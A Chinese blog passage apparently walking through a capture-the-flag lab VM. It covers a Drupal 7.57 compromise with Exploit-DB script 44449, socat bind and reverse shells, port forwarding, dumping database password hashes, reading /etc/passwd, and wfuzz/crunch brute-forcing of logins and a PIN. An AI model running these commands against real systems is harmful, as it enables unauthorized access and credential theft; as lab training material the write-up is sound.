• 渗透测试——formatworld(2)


    一、获取flag2

      21端口的信息用完了,再研究下8000端口。

    在这里插入图片描述

    1.1 访问web网站

      访问192.168.92.3:8000

    在这里插入图片描述
      是一个登录网站,网站内容透露username是pinkadmin。根据之前nmap的结果,发现了一些网站路径。

    其中,changelog.txt文件是一个(软件)更新日志文件

    1.2 查看日志文件

      访问192.168.92.3:8000/CHANGELOG.txt

    在这里插入图片描述

    可以发现,Drupal(CMS)的版本是7.57。CMS可以理解为网站模板

    1.2 查看Drupal漏洞

    (1)使用searchsploit命令直接查找Drupal 7.57的漏洞。

    在这里插入图片描述

    注:searchsploit是一个用于Exploit-DB的命令行搜索工具,Kali Linux中保存了一个该漏洞库的拷贝,可以帮助我们查找渗透模块。

    (2)下载脚本

    • 可以去 https://www.exploit-db.com/exploits/44449 下载;
    • 也可以直接使用kali中保存的副本,路径:/usr/share/exploitdb/exploit/php/webapps/44449.rb

    在这里插入图片描述
    在这里插入图片描述

    运行ruby程序,需要安装highline。

    (3)安装highline
      因为是要安装ruby的包(highline),所以需要用到ruby的包管理器gem,就相当于下载python安装包时需要使用pip一样。

    在这里插入图片描述

    1.3 获取shell

      payload:ruby 44449.rb http://192.168.92.3:8000

    在这里插入图片描述

    拿到shell!

    在这里插入图片描述

    获取flag2。

    二、获取flag3

    2.1 信息收集

      使用ls -al查看该目录下所有文件及其属性。

    在这里插入图片描述

      关于文件属性,以下面两个文件的文件属性为例:

    -rw-r--r--  1 root     root         28 Aug 14 18:01 flag2.txt
    drwxr-xr-x  4 www-data www-data   4096 Feb 21  2018 sites
    
    • 1
    • 2
    • 最左边的d-,分别表示目录文件和普通文件。
    • rwx分别表示可读(read)可写(write)可执行(execute)。
    • drwxr-xr-x可划分为d|rwx|r-x|r-x,分别代表文件类型、文件所有者权限、用户组权限和其他用户权限。
    • www-data www-data,第一个www-data代表文件所有者,第二个www-data代表文件所有者所属的组。
    • 总的来说,文件所有者www-data对该文件具有读写执行的权限,属于www-data这个组的成员对该文件具有读和执行的权限,而其他用户只有执行的权限。

      尝试进入目录,失败。

    在这里插入图片描述

    2.2 利用socat获取稳定权限

      socat是nc(瑞士军刀)的一个变种,基本命令如下:

    	socat [参数] <地址1> <地址2>
    
    • 1

      简单来说,socat所做的事就是:把左边地址的输出数据传给右边,同时又把右边输出的数据传到左边。具体请参考:新版瑞士军刀:socat

      因为靶机的防火墙规则使得靶机不能主动建立TCP连接,所以我们使用socat建立正向shell,下面是相关命令:

    	socat TCP-LISTEN:1111,reuseaddr,fork EXEC:bash,pty,stdeer,setsid,sigint,sane // 靶机
    	socat file:`tty`,raw,echo=0 tcp:192.168.92.3:1111 // kali
    
    • 1
    • 2

    在这里插入图片描述

    2.3 获取数据库信息

      翻遍目录,发现 var/www/html/sites/default/settings 里面好像有东西,得到数据库名、用户名和密码。

    在这里插入图片描述

    2.4 连接mysql数据库

    	mysql -u dpink -p // 连接数据库
    	drupink
    
    • 1
    • 2

    在这里插入图片描述

    	show databases; // 查看数据库名
    	use drupal; // 打开数据库
    	show tables; // 显示数据表
    	select * from users; // 查询
    	select name,pass from users;
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    似乎无法解密。

    在这里插入图片描述

    2.5 查看靶机开放的端口信息

    	netstat -a // -a:显示所有链接和监听端口
    
    • 1

    在这里插入图片描述

      关于Local Address的解释:

    • 0.0.0.0:9999表示监听服务器上所有IP地址的9999端口。一个服务器可能有多个IP地址。
    • localhost:65334表示监听本机回环地址的65334端口(如果某个服务只监听回环地址,那么只能在本机进行访问,无法通过TCP/IP协议进行远程访问)。
    • [::]:5555表示监听IPV6的回环地址的5555端口。
    • 192.168.92.3:1111表示监听192.168.92.3的1111端口,可以通过TCP/IP协议进行远程访问。

      既然本机开放了80端口和65334端口,但是只允许本机访问,那么我们需要使用socat进行端口转发,使得外部设备能够访问80端口和65334端口上的服务。

    2.6 端口转发

      命令如下:

    	socat tcp-listen:8888,fork tcp:127.0.0.1:80 & //靶机
    
    • 1

      上述命令的大概意思就是靶机上监听8888端口,将8888端口的流量发送给127.0.0.1:80,实现本地转发。

    在这里插入图片描述

      通过nmap -sV 192.168.92.3获得服务版本的详细信息。

    在这里插入图片描述

    2.7 访问web服务

      在kali上访问192.168.92.3:7777,显示数据库正在开发。

    在这里插入图片描述

      在kali上访问192.168.92.3:8888,发现后台登录页面。简单试了一下,不存在SQL注入,下面进行爆破。
    在这里插入图片描述

    2.8 利用wfuzz模糊测试

    (1)wfuzz简介

      Wfuzz是一款为了评估WEB应用而生的模糊测试工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。

    (2)目录遍历

      既然7777端口显示数据库正在开发,遍历下目录,看看有没有发现。命令:

    	wfuzz --sc 200 -w /usr/share/wordlists/dirb/common.txt "http://192.168.92.3:7777/FUZZs.db"
    
    • 1
    • --sc 200 表示显示响应码为200的请求
    • -w <路径>表示字典路径
    • FUZZ表示fuzz的部分,就相当于一个变量。加s纯属是字典中的值没有复数s。
    • .db是为了跑数据库文件

    在这里插入图片描述
    在这里插入图片描述

    加s才能将db文件跑出来,也就是说字典很重要,字典里有就能跑出来,没有就跑不出。

      访问192.168.92.3:7777/pwds.db,可以拿到一个密码字典,其中的密码可能是那个GUESS网址的密码。
    在这里插入图片描述

    一共18条密码。

    2.9 获取用户名

      linux下/etc/passwd是一个文本文件,其中包含了登录linux系统所必须的每个用户的信息,会保存用户名和密码等信息,只是密码不是明文保存,且保存在/etc/shadow文件中。
    /etc/passwd中的一行信息为例:

    root:x:0:0:root:/root:/bin/bash
    
    • 1

      /etc/passwd文件将每个用户的详细信息写为一行,其中包含七个字段,每个字段之间用冒号:分隔:

    字段含义
    用户名用户登录密码时使用的用户名
    密码密码,x表示用户设有密码,但是密码保存在/etc/shadow
    UID用户ID,用于识别用户权限(超级用户、系统用户、普通用户)
    GID用户初始值组ID
    描述性信息描述
    主目录用户的主目录,例如:root主目录为/root,普通用户kali的主目录为/home/kali
    默认shelllinux系统默认使用/bin/bash,还有其他命令解释器,如/bin/zsh

      查看cat /etc/passwd

    在这里插入图片描述

      发现如下关键用户名:root、pinky、pinksec、pinksecmanagement,再加上访问8000端口时提示pinkadmin,一共5个用户名。

    2.10 用户名、密码和pin破解

    (1)用户名和密码的破解

      因为5*18*10^5 =9*10^6,计算量巨大。因此,首先固定pin值进行爆破。将用户名和密码分别保存在user.txtpasswd.txt中,使用wfuzz进行爆破,命令如下:

    	wfuzz -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php
    
    • 1

    -d代表使用post数据。

    在这里插入图片描述

    返回值不一样,得到用户名和密码。

    (2)pin破解

      使用crunch生成5位数字,命令如下:

    	crunch 5 5 1234567890 > pin.txt
    
    • 1
    • crunch语法:crunch [] [options]
    • min-len表示生成的最小长度字符串;
    • max-len表示生成的最大长度字符串;
    • charset string表示字符集设置
      在这里插入图片描述
    	wfuzz --hh 41,45 -w pin.txt -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" http://192.168.92.3:8888/login.php
    
    • 1
    • --hh:过滤chars值为41和45的响应。

    在这里插入图片描述

    pin值为23081。

      登录去咯~,登录后发现有一个可执行窗口。

    在这里插入图片描述
      反弹shell:

    	socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:3333,bind=0.0.0.0,reuseaddr,fork // 靶机,网页
    	socat file:`tty`(不是单引号),raw,echo=0 tcp:192.168.92.3:3333 // kali
    
    • 1
    • 2

    在这里插入图片描述

    注意:反弹shell和正向shel的区别(个人理解)

    • 正向shell是在靶机上新建了一个窗口,然后kali去连接该shell;
    • 反弹shell是靶机上存在一个shell,将其反弹给kali。

    在这里插入图片描述

      将正向shell的命令使用到网页上,kali上无法拿到shell。

    在这里插入图片描述
      之后就是常规操作,flag3在/home/pinksec/bin/flag3.txt

    在这里插入图片描述

  • 相关阅读:
    腾讯mini项目-【指标监控服务重构】2023-08-01
    【Vue】自定义事件实现组件之间的通信(案例讲解)
    新手QML贪吃蛇 Qt Quick
    vite的学习笔记
    鉴源论坛 · 观模丨形式化方法基本原理初探
    夯实c语言基础
    如何在多版本C#工程上添加程序集
    Softing新发布的dataFEED OPC Suite Extended V5.22版本支持OPC UA反向连接功能,为数据集成提供额外的安全保障
    Java-对象到底占多少个字节?计算规则是什么?
    ubuntu 18.04 双系统安装
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/133093466